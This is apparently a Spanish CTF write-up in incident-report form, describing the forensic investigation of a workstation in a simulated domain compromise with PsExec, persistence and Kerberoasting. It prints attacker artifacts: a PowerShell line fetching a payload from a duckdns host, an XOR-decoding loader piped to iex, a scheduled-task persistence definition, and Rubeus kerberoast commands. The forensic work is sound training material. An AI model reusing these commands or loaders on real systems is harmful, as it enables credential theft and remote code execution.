Baklava CTF Writeup – Incident Report Style (II)

Contenido

  1. ¡WARNING! ¡LÉEME PRIMERO!
  2. Resumen ejecutivo.
  3. Antecedentes.
  4. Gestión del incidente
    • 4.1. DC02 – 192.168.20.46
    • 4.2. WS02 – 192.168.20.42
    • 4.3. WS01 – 192.168.20.41
    • 4.4. SRV01
  5. Conclusiones finales.
  6. Línea temporal del ataque.
  7. Impacto.
  8. Atribución.
  9. Lecciones aprendidas.
  10. Anexo A: IOC.
  11. FAQ (del meta, no del incidente).

4.2. WS02 – 192.168.20.42

Se ejecuta la herramienta Hayabusa sobre los logs, encontrando las siguientes alertas:

──────────────────────────────────────

│ Top critical alerts:                   Top high alerts:                                                    │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

│ n/a                          Suspicious Eventlog Clearing or Configuration Change Activity (298) │

| n/a                                    ETW Trace Evasion Activity (3)                                      │

│ n/a                                    Important Log File Cleared (2)                                      │

│ n/a                                    Log Cleared (1)                                                     │

│ n/a                                    n/a                                                                 │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ Top medium alerts:                     Top low alerts:                                                     │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ ISO Image Mounted (167)                n/a                                                                 │

│ Reg Key Value Set (Sysmon Alert) (8)   n/a                                                                 │

│ HackTool – LaZagne Execution (7)       n/a                                                                 │

│ Log File Cleared (2)                   n/a                                                                 │

│ Net Conn (Sysmon Alert) (2)            n/a                                                                 │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

Se revisan las alertas sin encontrar actividad maliciosa.

Se extrae la MFT del triaje, se convierte de binario a .csv con la herramienta mftdump, y se revisan los ficheros creados el 22/03/2024, encontrando los siguientes de interés:

1) Ejecución de PSEXEC: se observa la creación del servicio de psexec, empleado para la ejecución remota de código:

2024-03-22 11:41:07         2024-03-22 11:47:57  2024-03-22 11:41:07  2024-03-22 11:41:07  193984       exe      \Windows\PSEXESVC.exe

2024-03-22 11:41:39         2024-03-22 11:41:39  2024-03-22 11:41:39  2024-03-22 11:41:39  4290    pf       \Windows\Prefetch\PSEXESVC.EXE-AD70946C.pf

El hecho de encontrar el binario PSEXESVC.exe, así como el mismo binario en el Prefetch indica que este equipo es el que ha recibido la ejecución del comando. Se revisan los logs de eventos de System, pero han sido borrados por lo que a priori no se puede saber el origen de la comunicación.

Dado que se tienen la RAM del equipo, se hace uso del plugin windows.netscan.NetScan de Volatility para extraer las conexiones de red, pero no se encuentra ninguna conexión entrante al puerto 445/tcp (signo del uso de psexec).

Se ejecuta el comando de Linux strings realizando una búsqueda de proximidad (-A 10 –B 10 para sacar las diez líneas anteriores y posteriores a cada coincidencia), encontrando otro fichero de interés:

459592846 C:\Windows\PSEXESVC.exe

459592872 C:\Windows\PSEXESVC.exe

459593012 Collected Data

459593045 5736:133555812896042651

459593076        C:\Windows\System32\services.exe

459593113 812:133555366942172371

459593145 C:\Windows\System32\csrss.exe

459593177 596:133555366938091543

459593207       9C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

459593268 -“powershell” -ep bypass -NoExit C:\update.ps1

El fichero está en la MFT del equipo, y ha sido creado en el entorno del incidente:

2024-03-22 11:40:09                2024-03-22 12:17:53      2024-03-22 11:39:25       2024-03-22 11:39:25       278         ps1         \update.ps1

Se solicita el fichero a la Organización, y se pivota sobre el mismo en la RAM, confirmando que se ha ejecutado con la cuenta de localadmin (ver extracto de un log de eventos de Powershell recuperado de las strings):

37306932 ScriptName

37306984        CommandLine=

37307036 CommandLine

37307084        DetailSequence=1

37307122        DetailTotal=1

37307158        SequenceNumber=31

37307202        UserId=MEGACORP\localadmin

37307260        HostName=ConsoleHost

37307306        HostVersion=5.1.22621.2506

37307364        HostId=213c6ab9-8915-4bac-9632-3ac289d13d0a

37307456        HostApplication=powershell -ep bypass -NoExit C:\update.ps1

37307580        EngineVersion=5.1.22621.2506

37307642        RunspaceId=15030c46-fd6c-4257-bd3a-1b1c233b98a9

37307742        PipelineId=7

37307772        ScriptName=

37307800        CommandLine=

Se continua el análisis de las cadenas relacionadas con psexec, encontrando algunas de interés:

https://baklava014.duckdns[.]org/

Si se pivota sobre la cadena, se encuentra una relación directa entre el dominio y un script en Powershell (iwr es equivalente en Powershell a Invoke-WebRequest), posiblemente update.ps1

2927642912 $encryptedContent = (iwr http://baklava014.duckdns.org:8000/public.png).Content -as [byte[]]

Así mismo, se encuentra una dirección IP implicada:

2070708560 192.168.20.41:54027

Si se pivota sobre la IP se encuentran posibles contactos con la ejecución de PSEXEC:

778102384 \PSEXESVC-WS01-12448-stderrlocaladmin\\192.168.20.41MEGACORP\localadmin

1870648880 \PSEXESVC-WS01-12448-stdoutlocaladmin\\192.168.20.41MEGACORP\localadmin

1902092080 \PSEXESVC-WS01-12448-stdinlocaladmin\\192.168.20.41MEGACORP\localadmin

2682389856 \PSEXESVClocaladmin\\192.168.20.41MEGACORP\localadmin

2788746688 \PSEXESVClocaladmin\\192.168.20.41MEGACORP\localadmin

3951699904 \PSEXESVC-WS01-3944-stdoutlocaladmin\\192.168.20.41MEGACORP\localadmin

3951700864 \PSEXESVC-WS01-3944-stderrlocaladmin\\192.168.20.41MEGACORP\localadmin

3951702464 \PSEXESVC-WS01-3944-stdinlocaladmin\\192.168.20.41MEGACORP\localadmin

Se solicita a la Organización la obtención de evidencias de ese equipo, ya que todo apunta a que es el origen de la conexión de psexec.

Se ejecuta el plugin de Volatility cmdlines contra la RAM, volviendo a encontrar el update.ps1 muy cercano en ejecución al psexec:

5736                PSEXESVC.exe   C:\Windows\PSEXESVC.exe

1244                powershell.exe “powershell” -ep bypass -NoExit C:\update.ps1

Se tiene la hipótesis de que los atacantes han copiado el fichero update.ps1 a WS02, ejecutándolo a continuación con PSEXEC.

2) Creación de una tarea programada:

2024-03-22 11:43:02                2024-03-22 11:57:29      2024-03-22 11:43:02       2024-03-22 11:43:02       3406               \Windows\System32\Tasks\OneDriveUpdateTask

Se recupera la tarea programada del triaje del equipo:

<?xml version=”1.0″ encoding=”UTF-16″?>

<Task version=”1.2″ xmlns=”http://schemas.microsoft.com/windows/2004/02/mit/task”>

  <RegistrationInfo>

    <Date>2024-03-22T12:43:02</Date>

    <Author>MEGACORP\localadmin</Author>

    <URI>\OneDriveUpdateTask</URI>

  </RegistrationInfo>

  <Triggers>

    <LogonTrigger>

      <StartBoundary>2024-03-22T12:43:00</StartBoundary>

      <Enabled>true</Enabled>

    </LogonTrigger>

  </Triggers>

  <Settings>

    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>

    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>

    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>

    <AllowHardTerminate>true</AllowHardTerminate>

    <StartWhenAvailable>false</StartWhenAvailable>

    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>

    <IdleSettings>

      <Duration>PT10M</Duration>

      <WaitTimeout>PT1H</WaitTimeout>

      <StopOnIdleEnd>true</StopOnIdleEnd>

      <RestartOnIdle>false</RestartOnIdle>

    </IdleSettings>

    <AllowStartOnDemand>true</AllowStartOnDemand>

    <Enabled>true</Enabled>

    <Hidden>false</Hidden>

    <RunOnlyIfIdle>false</RunOnlyIfIdle>

    <WakeToRun>false</WakeToRun>

    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>

    <Priority>7</Priority>

  </Settings>

  <Actions Context=”Author”>

    <Exec>

      <Command>powershell.exe</Command>

      <Arguments>-ep bypass -NoExit C:\Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1</Arguments>

    </Exec>

  </Actions>

  <Principals>

    <Principal id=”Author”>

      <UserId>S-1-5-18</UserId>

      <RunLevel>LeastPrivilege</RunLevel>

    </Principal>

  </Principals>

</Task>

El <Triggers><LogonTrigger> especifica que esta tarea se ejecuta cuando el usuario inicia sesión, por lo que debería actuar como mecanismo de persistencia, y ejecuta el fichero OneDriveUpdater.ps1 con el usuario S-1-5-18 (SYSTEM).

El fichero referenciado ha sido creado minutos antes:

2024-03-22 11:42:49                2024-03-22 11:47:57      2024-03-22 11:42:49       2024-03-22 11:42:49       307         ps1         \Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1

El fichero no está en el listado de los recogidos por el triaje, pero ya que se dispone de la RAM se hace uso del plugin filescan, comprobando que se encuentra cargado en la memoria:

#/opt/vol3/vol.py -f WS02-20240322-125235.dmp windows.filescan.FileScan |fgrep OneDriveUpdater.ps1

0xbb01ec6870a0        \Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1  216

Se recupera el fichero con el plugin de Volatility3 dumpfiles:

/opt/vol3/vol.py -f WS02-20240322-125235.dmp -o dump windows.dumpfiles.DumpFiles –virtaddr 0xbb01ec6870a0

El contenido es el siguiente:

$encryptedFilePath = “C:\Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\updater-config.xml”

$encryptedContent = [IO.File]::ReadAllBytes($encryptedFilePath)

$decryptedContent = $encryptedContent | ForEach-Object { $_ -bxor 0x10 }

[System.Text.Encoding]::UTF8.GetString($decryptedContent) | iex

El script en Powershell coge el contenido del fichero updater-config.xml, lo “descifra” aplicando la operación XOR y lo ejecuta. El fichero existe en el dispositivo:

2024-03-22 11:42:33         2024-03-22 11:42:34  2024-03-22 11:42:33  2024-03-22 11:42:33  521159       xml      \Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\updater-config.xml

Se intenta recuperar de la RAM sin éxito. Se solicita el fichero a la Organización para su análisis.

3) Diversas descargas y ejecuciones de la herramienta Rubeus, empleada para el abuso de Kerberos (y capaz de realizar ataques de Kerberoasting)

2024-03-22 11:47:32                2024-03-22 11:50:41      2024-03-22 11:47:32       2024-03-22 11:47:32       277504  exe         \Users\Public\Rubeus35.exe

2024-03-22 11:47:59                2024-03-22 11:50:39      2024-03-22 11:50:39       2024-03-22 11:50:39       3028      pf         \Windows\Prefetch\RUBEUS35.EXE-4289EF17.pf

2024-03-22 11:51:17                2024-03-22 11:56:12      2024-03-22 11:51:17       2024-03-22 11:51:17       446976  exe         \Users\Public\Rubeus.exe

2024-03-22 11:51:27                2024-03-22 11:56:11      2024-03-22 11:56:11       2024-03-22 11:56:11       16322    pf         \Windows\Prefetch\RUBEUS.EXE-7C0DB5D7.pf

2024-03-22 11:57:28                2024-03-22 11:59:13      2024-03-22 11:59:13       2024-03-22 11:59:13       14759    pf         \Windows\Prefetch\RUBEUS45.EXE-A7FC6054.pf

Para analizar lo que han podido hacer los atacantes con Rubeus (ya que se tienen fuertes sospechas de que es la herramienta empleada para llevar a cabo el Kerberoasting), se realiza un análisis de las cadenas de la memoria.

$ strings -a -td WS02-20240322-125235.dmp > strings_ws02.txt

$ strings -a -td -el WS02-20240322-125235.dmp >> strings_ws02.txt

$ fgrep -i rubeus strings_ws02.txt > strings_ws02_rubeus.txt

721502208 \Rubeus.exe” kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111

764819725 .\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111

764819797 .\Rubeus.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111

953937348 .\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111

973596260 .\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111

973596332 .\Rubeus.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111

973597523 .\Rubeus.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111

2824607176 -C .\Rubeus45.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111 /domain:megacorp /dc:192.168.20.46

3194577944 u”C:\Users\Public\Rubeus45.exe” kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111 /domain:megacorp /dc:192.168.20.46

Se confirma el uso de Rubeus para llevar a cabo un ataque de Kerberoasting contra la cuenta de sqladmin. La misma conclusión podría obtenerse viendo el historial de Powershell:

C\Users\localadmin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHistory.txt

.\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111

Como detalle de interés, es posible que una de las ejecuciones de Rubeus hubiera sido detectada por el antivirus Windows Defender:

1310634318 2024-03-22T11:50:38.877Z DETECTION_ADD#2 Trojan:Win32/Commandrob.A!ml CmdLine:C:\Users\Public\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111 PropBag [length: 0, data: (null)]

4) Ejecución del binario fondue.exe

2024-03-22 11:47:59                2024-03-22 11:50:48      2024-03-22 11:50:48       2024-03-22 11:50:48       8093      pf         \Windows\Prefetch\FONDUE.EXE-F93B29DA.pf

Se descarga de la memoria, y se comprueba que parece que la extracción ha sido exitosa:

$ file *

file.0xbb01eb318190.0xbb01e694c520.ImageSectionObject.Fondue.exe.img: PE32+ executable (GUI) x86-64, for MS Windows

file.0xbb01eb318190.0xbb01e92c40b0.DataSectionObject.Fondue.exe.dat:  PE32+ executable (GUI) x86-64, for MS Windows

El fichero tiene un único hit en VirusTotal:

https://www.virustotal.com/gui/file/d61b30a1229479227788ba58efc2648a5faa02f522ae1d24cc9c9dc052a28945/community

https://tria.ge/231124-pyjk7abg3v

Pero según la documentación parece legítimo:

https://learn.microsoft.com/es-es/windows-server/administration/windows-commands/fondue

Se busca en las cadenas de memoria y se confirma que no es malicioso:

1414026278   FONDUE.exe /enable-feature:NETFX3 /caller-name:Admin.bat /hide-ux:all

5) Ejecución de whoami.exe (muy empleado por los atacantes como herramienta de reconocimiento):

2024-03-22 11:54:39                2024-03-22 11:54:39      2024-03-22 11:54:39       2024-03-22 11:54:39       2830      pf         \Windows\Prefetch\WHOAMI.EXE-9D378AFE.pf

6) Script de borrado de los logs de eventos:

2024-03-22 12:44:12         2024-03-22 12:45:26  2024-03-22 12:44:12  2024-03-22 12:44:12  378      bat       \Users\Public\clear-logs.bat

El análisis forense de la máquina permite establecer las siguientes conclusiones:

  1. Los atacantes han lanzado psexec con casi total seguridad desde la IP 192.168.20.41, posiblemente ejecutando el script de Powershell update.ps1.
  • Se ha creado una tarea programada (OneDriveUpdateTask ) para la persistencia en el equipo, que lanzaba el script OneDriveUpdater.ps1. Dicho script hace referencia al fichero updater-config.xml
  • Se confirma el ataque de Kerberoasting a través de la herramienta Rubeus.

Dado que se tienen altas sospechas de que los atacantes han ejecutado el psexec desde la IP 192.168.20.41, se continúa el análisis desde dicho equipo.

Speak Your Mind

*